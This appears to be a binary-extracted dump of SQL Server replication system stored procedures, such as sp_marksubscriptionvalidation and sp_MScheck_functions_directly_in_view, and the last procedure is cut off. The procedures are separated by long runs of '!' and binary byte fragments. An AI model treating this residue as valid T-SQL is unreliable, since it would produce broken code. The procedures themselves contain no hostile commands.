!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`!<	4D0˂@ A8
create procedure sys.sp_marksubscriptionvalidation (
    @publication sysname,    /* publication name */
    @subscriber sysname,     /* subscriber name */
    @destination_db sysname,  /* destination database name */
    @publisher sysname = NULL /* publisher */
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	/* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher      = @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@rpcheader      = @cmd OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	if (@publisher_type = 'MSSQLSERVER')
	begin
		
		set @cmd = @cmd + N'sys.sp_MSmarksubscriptionvalidation '
		EXEC @retcode = @cmd
				@publication,
				@subscriber,
				@destination_db
	end
	else
	begin
		-- Heterogeneous articles are handled directly
		SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
		set @cmd = @cmd + N'sys.sp_IHmarksubscriptionvalidation '
		EXEC @retcode = @cmd
				@publication,
				@subscriber,
				@destination_db,
				@publisher,
				@publisher_type
	end	

	RETURN (@retcode)
END
0܈@ T8create procedure sys.sp_MSgetmetadatabatch90
(
    @pubid uniqueidentifier,
    @tablenickarray varbinary(2000),
    @rowguidarray varbinary(8000)
)
as
    declare @tablenick          int
    declare @tablenicklast      int
    declare @rowguid            uniqueidentifier
    declare @type                       tinyint
    declare @retcode        smallint
    declare @tnlength       int
    declare @tnoffset       int
    declare @guidoffset     int
    declare @procname       nvarchar(270)
        
    -- security check
    if (1 <> {fn ISPALUSER(@pubid)})
    begin
            RAISERROR (14126, 11, -1)
            return (1)
    end
      
    set @tablenicklast = 0
    -- initialize offsets and length for walking through arrays
    set @tnoffset = 1
    set @guidoffset = 1
    set @tnlength = datalength(@tablenickarray)

    -- walk through arrays and populate temp table
    while (@tnoffset < @tnlength)
    begin
        set @tablenick = substring(@tablenickarray, @tnoffset, 4)
        set @rowguid = substring(@rowguidarray, @guidoffset, 16)

        if @tablenick <> @tablenicklast
        begin
            select @procname= 'dbo.' + select_proc from dbo.sysmergearticles where nickname = @tablenick and pubid=@pubid
            set @tablenicklast = @tablenick
        end

        -- the following type in the select proc selects out the metadata
        set @type= 12

        -- check for row in base table
        exec @retcode= @procname @maxschemaguidforarticle = NULL, @type=@type output, @rowguid=@rowguid
        if @@error <>0 or @retcode <> 0 
        begin
            return (1)
        end

        -- bump up offsets for next time through loop
        set @tnoffset = @tnoffset + 4
        set @guidoffset = @guidoffset + 16
    end

    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`^	<I0@ 8create procedure sys.sp_user_counter7 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 7', @newvalue)
0@ 8CREATE PROCEDURE sys.sp_MSmarkreinit
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @subscriber sysname,       
    @subscriber_db sysname,
    @reset_reinit	int
)
AS
begin
    set nocount on

    -- This proc is used to mark the status in MSmerge_subscriptions and this status 
    -- is used to prevent expiry of <= 80 subscribers when they are marked for reinit
    -- This proc is a security threat becuase any user with PAL access can set this staus 
    -- and influence the expiry of any arbitrary subscriber. Therefore, this proc is a no-op 
    -- in 90 and 80 & less subscribers who are marked for reinit will be expired as usual
end    	
09W@ 08create procedure sys.sp_MSconflicttableexists 
    @pubid uniqueidentifier,
    @artid uniqueidentifier,
    @exists int output
as
    declare @retcode int
    declare @tablename sysname
    declare @ownername sysname
    declare @qualified_tablename nvarchar(270)
    
    EXEC @retcode = dbo.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0 return(1)


    set @exists= 0
    
    select top 1 @tablename= conflict_table,
                 @ownername= destination_owner
         from dbo.sysmergearticles where pubid=@pubid and artid=@artid

    if @@error<>0 return 1

    if @tablename is not null
    begin
        if @ownername is null
        begin
            set @qualified_tablename= quotename(@tablename)
        end
        else
        begin
            set @qualified_tablename= quotename(@ownername) + '.' + quotename(@tablename)
        end

        if object_id(@qualified_tablename) is not null
        begin
            set @exists= 1
        end
    end

    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`(<(V*,0L v8
create procedure sys.sp_tables_info_90_rowset_64
(
    @table_name     sysname,
    @table_schema   sysname = null,
    @table_type     nvarchar(255) = null
)
as
    select
        TABLE_CATALOG           = s_tiv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_tiv.TABLE_SCHEMA,
        TABLE_NAME              = s_tiv.TABLE_NAME,
        TABLE_TYPE              = s_tiv.TABLE_TYPE,
        TABLE_GUID              = s_tiv.TABLE_GUID,
        BOOKMARKS               = s_tiv.BOOKMARKS,
        BOOKMARK_TYPE           = s_tiv.BOOKMARK_TYPE,
        BOOKMARK_DATATYPE       = convert(smallint, 21), --DBTYPE_UI8
        BOOKMARK_MAXIMUM_LENGTH = convert(int, 8),
        BOOKMARK_INFORMATION    = s_tiv.BOOKMARK_INFORMATION,
        TABLE_VERSION           = s_tiv.TABLE_VERSION,
        CARDINALITY             = s_tiv.CARDINALITY,
        DESCRIPTION             = s_tiv.DESCRIPTION,
        TABLE_PROPID            = s_tiv.TABLE_PROPID,
        TABLE_FLAGS             = s_tiv.TABLE_FLAGS
    from
        sys.spt_tables_info_view s_tiv
    where
        (
            (@table_schema is null and s_tiv.TABLE_NAME = @table_name) or
            object_id(quotename(@table_schema) + '.' + quotename(@table_name)) = s_tiv.object_id
        ) and
        (@table_type is null or @table_type = s_tiv.TABLE_TYPE)
    order by 4, 2, 3
0C <8-- Requires Certificate signature for catalog access
create procedure sys.sp_MScheck_functions_indirectly_in_view @viewname nvarchar(400)
                                                            , @use_partition_groups smallint
                                                            , @can_use_partition_groups bit output
                                                            , @has_dynamic_filters bit output
                                                            , @dynamic_filters_function_list nvarchar(500) output
                                                            , @uses_host_name bit output
                                                            , @uses_suser_sname bit output
as
    declare @depends_on_viewid int
    , @owner_qualified_depends_on_viewname nvarchar(400)
    , @retcode int
   
    
    select top 1 @depends_on_viewid = referenced_major_id
    from sys.sql_dependencies 
    where object_id = object_id(@viewname)
    and referenced_major_id in (select object_id from sys.objects where type = 'V')
    order by referenced_major_id
    
    while @depends_on_viewid is not null
    begin
    
        select @owner_qualified_depends_on_viewname = quotename(SCHEMA_NAME(schema_id)) + '.' + quotename(name)
        from sys.objects
        where object_id = @depends_on_viewid
        
        exec @retcode = sys.sp_MScheck_functions_directly_in_view    @viewname = @owner_qualified_depends_on_viewname
                                                                , @has_dynamic_filters = @has_dynamic_filters output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
                                                                
        if @@error <> 0 or @retcode <> 0
            return 1
        
        if @has_dynamic_filters = 1
        begin
            set @can_use_partition_groups = 0
            
            if @use_partition_groups in (1,2)
            begin
                
                -- View @owner_qualified_depends_on_viewname contains functions and is
                -- referenced in a filter clause.
                raiserror(22514, 16, -1, @owner_qualified_depends_on_viewname)
                return 1
            end
            
        end        
        
        exec @retcode = sys.sp_MScheck_functions_indirectly_in_view @viewname = @owner_qualified_depends_on_viewname
                                                                , @use_partition_groups = @use_partition_groups
                                                                , @can_use_partition_groups = @can_use_partition_groups output
                                                                , @has_dynamic_filters = @has_dynamic_filters output
                                                                , @dynamic_filters_function_list = @dynamic_filters_function_list output
                                                                , @uses_host_name = @uses_host_name output
                                                                , @uses_suser_sname = @uses_suser_sname output
        if @@error <> 0 or @retcode <> 0
            return 1
        
        if @has_dynamic_filters = 1
        begin
            set @can_use_partition_groups = 0
            
            if @use_partition_groups in (1,2)
            begin
                -- no need to raise new error. sp_MScheck_functions_indirectly_in_view would have
                -- raised an error if it had found any functions.
                return 1
            end
        end        
        
        select top 1 @depends_on_viewid = referenced_major_id
        from sys.sql_dependencies 
        where object_id = object_id(@viewname)
        and referenced_major_id in (select object_id from sys.objects where type = 'V')
        and referenced_major_id > @depends_on_viewid
        order by referenced_major_id
        
        if @@rowcount = 0
            select @depends_on_viewid = NULL
    end
        
    return 0
0@ D8Zh%|!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<zM%ʍI0F@ $8create procedure sys.sp_MSsetcontext_bypassreplicateddleventbit @onoff bit -- 1 to turn on
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_first_byte binary(1)
    declare @bitmask tinyint

    -- bit to set: snapshot=1, logreader=2, distrib=4, merge=8, 
    -- replication_agent=16, merge_identityrange_alterconstraint=32
    -- bypasswholeddleventbit=64, bypassreplicateddleventbit=128
    if @onoff=1
        set @bitmask=128
    else
        set @bitmask=255-128
    
    -- get the current context_info. remember we only want to modify a bit without changing the rest of the info
    select @cur_context = isnull(context_info(),0x00)
    
    -- get the first byte out. the replication agent flags are set in the first byte.
    select @cur_context_first_byte = substring(@cur_context, 1, 1)
    -- set the appropriate bit in this one byte (leaving other bits unchanged).
    if @onoff=1
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) | @bitmask)
    else
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) & @bitmask)
        
    -- replace the first byte of the 128 byte binary variable, so that now it has the appropriate bit set.
    select @cur_context = convert(varbinary(128),stuff (@cur_context, 1, 1, @cur_context_first_byte))
    -- set the context_info again with the new binary(128) value.
    set context_info @cur_context
    
    if @@error <> 0
        return 1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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`X<M)PM0nD 8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MScheck_functions_directly_in_view @viewname nvarchar(400)
                                                            , @has_dynamic_filters bit output
                                                            , @dynamic_filters_function_list nvarchar(500) output
                                                            , @uses_host_name bit output
                                                            , @uses_suser_sname bit output
as
    declare @built_in_function sysname
    , @built_in_function_without_parens sysname
    , @id int
    , @function_name nvarchar(270)
    , @retcode int
    
    create table #view_text_table (viewtext nvarchar(max)) -- will be nvarchar(max) ultimately.
    declare @functions_used_table table(functionname sysname, object_id int default 0, id int identity)
    declare @view_id int, @iteration int
    
    select @view_id = object_id(@viewname)
     
    insert into @functions_used_table (functionname, object_id) 
    select schema_name(schema_id) + '.' + name + '()', object_id
    from sys.objects where object_id in 
    (
        select referenced_major_id
        from sys.sql_dependencies where object_id = @view_id
        and referenced_major_id in (select object_id from sys.objects where type = 'FN')
    )
    
    -- delete from @functions_used_table any functions that are not really dynamic functions.
    -- a function is considered dynamic if
    -- (1) it has host_name() or suser_sname() or other server built-in functions in its text, or
    -- (2) it references other functions which are dynamic, or
    -- (3) it references views. we should really expand the views and see if they have a dynamic function 
    -- hidden somewhere - but this will make the checking code to be too complex. It is easier to assume that
    -- a UDF referencing a view is dynamic. This is an extremely rare case anyway.
    
    select top 1 @function_name = functionname
                    , @id = id
    from @functions_used_table
    order by id
        
    while @function_name is not null
    begin
        select @has_dynamic_filters = 0
        
        select @function_name = substring(@function_name, 1, len(@function_name)-2)
        
        exec @retcode = sys.sp_MSisdynamicfunction @function_name, @has_dynamic_filters output,
                                                    @uses_host_name output, @uses_suser_sname output
        if @@error <> 0 or @retcode <> 0
            return 1
            
        if @has_dynamic_filters = 0
            delete from @functions_used_table where id = @id
        
        set @function_name = NULL
            
        select top 1 @function_name = functionname
                    , @id = id
        from @functions_used_table
        where id > @id
        order by id
    end
    
    if exists (select * from @functions_used_table a where exists
                        (select b.object_id from sys.parameters b 
                            where a.object_id = b.object_id
                            and b.is_output = 0))
    begin
        select top 1 @function_name = substring(functionname, 1, len(functionname)-2)
            from @functions_used_table a where exists
                        (select b.object_id from sys.parameters b 
                            where a.object_id = b.object_id
                            and b.is_output = 0)
        raiserror(22560, 16, -1, @function_name)
        return 1
    end
    
    insert into #view_text_table exec sp_MSrepl_helptext @viewname
    
    set @iteration = 0
    
    while (1=1)
    begin
        if @iteration = 0
            select @built_in_function = 'host_name()', @built_in_function_without_parens = 'host_name'
        else if @iteration = 1
            select @built_in_function = 'suser_sname()', @built_in_function_without_parens = 'suser_sname'
        else if @iteration = 2
            select @built_in_function = 'suser_name()', @built_in_function_without_parens = 'suser_name'
        else if @iteration = 3
            select @built_in_function = 'user_name()', @built_in_function_without_parens = 'user_name'
        else if @iteration = 4
            select @built_in_function = 'user_id()', @built_in_function_without_parens = 'user_id'
        else if @iteration = 5
            select @built_in_function = 'suser_id()', @built_in_function_without_parens = 'suser_id'
        else if @iteration = 6
            select @built_in_function = 'user_sid()', @built_in_function_without_parens = 'user_sid'
        else if @iteration = 7
            select @built_in_function = 'suser_sid()', @built_in_function_without_parens = 'suser_sid'
        else
            break
            
        if exists (select * from #view_text_table 
                    where REPLACE(REPLACE(REPLACE(REPLACE(UPPER(viewtext), char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')
                    like ('%' + UPPER(@built_in_function) + '%')
                    and sys.fn_MSisfilteredcolumn(UPPER(viewtext), UPPER(@built_in_function_without_parens), NULL) = 1)
        begin
            if @iteration = 0
                set @uses_host_name = 1
            if @iteration = 1
                set @uses_suser_sname = 1

            select @built_in_function = UPPER(@built_in_function)
            
            insert into @functions_used_table (functionname) values (@built_in_function)
        end
        
        select @iteration = @iteration + 1
    end
    
    if exists (select * from @functions_used_table)
    begin
        select @has_dynamic_filters = 1
            
        select top 1 @function_name = functionname
                    , @id = id
        from @functions_used_table
        order by id
        
        while @function_name is not null
        begin
            if @dynamic_filters_function_list is null
                select @dynamic_filters_function_list = @function_name
            else
            begin
                select @dynamic_filters_function_list = @dynamic_filters_function_list + ';' + @function_name
                
                exec @retcode = sys.sp_MSget_distinct_semicolon_sep_items @dynamic_filters_function_list = @dynamic_filters_function_list output
				if @@error <> 0 or @retcode <> 0
					return 1
            end
        
            set @function_name = NULL
            
            select top 1 @function_name = functionname
                        , @id = id
            from @functions_used_table
            where id > @id
            order by id
        end
    end
            
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<+MB@0^ s8
create procedure sys.sp_MSget_distinct_semicolon_sep_items @dynamic_filters_function_list nvarchar(500) output
as
    declare @function_list_table table (function_name sysname)
    declare @function_list_table_distinct table (function_name sysname)
    declare @cur_index int
    , @prev_index int
    , @function sysname
    , @datalength int
    
    if @dynamic_filters_function_list is null or @dynamic_filters_function_list = ' '
        return 0
        
    select    @datalength = datalength(@dynamic_filters_function_list)/2, 
            @prev_index = 1, 
            @cur_index = charindex (';', @dynamic_filters_function_list, @prev_index)
            
    while (@cur_index <> 0)
    begin
        select @function = substring(@dynamic_filters_function_list, @prev_index, @cur_index - @prev_index)
        select @function = REPLACE(REPLACE(REPLACE(REPLACE(@function collate SQL_Latin1_General_CP1_CS_AS, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')
        if (ltrim(rtrim(@function)) <> ' ')
        begin
            insert into @function_list_table values (@function)
        end
        select @prev_index = @cur_index+1
        select @cur_index = 0
        select @cur_index = charindex (';', @dynamic_filters_function_list, @prev_index)
    end

    -- still need to get the last one

    if (@datalength > @prev_index)
    begin
        select @function = substring(@dynamic_filters_function_list, @prev_index, @datalength - @prev_index + 1)
        select @function = REPLACE(REPLACE(REPLACE(REPLACE(@function collate SQL_Latin1_General_CP1_CS_AS, char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')
        if (ltrim(rtrim(@function)) <> ' ')
        begin
            insert into @function_list_table values (@function)
        end
    end
    
    -- Now that we have read all values out of @dynamic_filters_function_list, we can reuse it 
    -- to send the distinct values back. Set it to NULL initially.
    set @dynamic_filters_function_list = NULL
    
    -- Order the result set by datalength desc, so that the larger names are at the front of the list, and the shorter
    -- ones towards the end. This fixes some problems with textual substitutions when one function name is contained
    -- in another.
    insert into @function_list_table_distinct (function_name)
    select distinct function_name collate SQL_Latin1_General_CP1_CI_AS from @function_list_table
    
     declare distinct_function_names cursor local fast_forward for
    select function_name from @function_list_table_distinct
    order by len(function_name) desc
    for read only
    
    open distinct_function_names
    
    fetch next from distinct_function_names into @function
    while @@fetch_status <> -1
    begin
        if @dynamic_filters_function_list is null
            set @dynamic_filters_function_list = @function
        else
            set @dynamic_filters_function_list = @dynamic_filters_function_list + ';' + @function
            
        fetch next from distinct_function_names into @function
    end
    
    return 0    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-<AM"80V[ ]8
create procedure sys.sp_MScreate_article_logical_record_views @art_nick int
as
    set nocount on
    declare @view_rule nvarchar(max), 
            @source_objid int, 
            @prefix_tablename nvarchar(270),
            @source_object nvarchar(517), 
            @unqual_sourcename nvarchar(270),
            @unqual_sourcename2 nvarchar(540),
            @rgcol nvarchar(270),
            @join_rgcol nvarchar(270),
            @join_clause nvarchar(4000),
            @join_nick int,
            @join_objid int,
            @join_unqual_name nvarchar(270),
            @join_logical_record_view nvarchar(270),
            @logical_record_view nvarchar(270),
            @logical_record_deleted_view_rule nvarchar(max),
            @prefixed_column_list nvarchar(max),
            @partition_column_list nvarchar(max),
            @arbitrary_pubid uniqueidentifier,
            @retcode int,
            @pubid uniqueidentifier,
            @permission nvarchar(max)
    
    -- Return immediately if no logical record relationships are defined.
    if not exists (select * from dbo.sysmergesubsetfilters 
                    where (filter_type & 2) = 2
                    and (join_nickname = @art_nick or art_nickname = @art_nick))
        return 0
        
    select top 1 @arbitrary_pubid = pubid, @source_objid = objid from dbo.sysmergearticles sma where nickname = @art_nick
    and exists (select * from dbo.sysmergepartitioninfo smpi
					where sma.artid = smpi.artid and sma.pubid = smpi.pubid and smpi.logical_record_parent_nickname is not null)
    
    select @source_object = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(name) from sys.objects 
        where object_id = @source_objid 
    select @unqual_sourcename = QUOTENAME(OBJECT_NAME(@source_objid))
    select @unqual_sourcename2 = sys.fn_replreplacesinglequote(@source_object)
    
    select @rgcol = QUOTENAME(name) from sys.columns where object_id = @source_objid 
        and is_rowguidcol = 1
        
    if @rgcol is NULL
        return 0

    /* Get the explicit list of columns for the base table */
    set @prefix_tablename = @unqual_sourcename + '.'
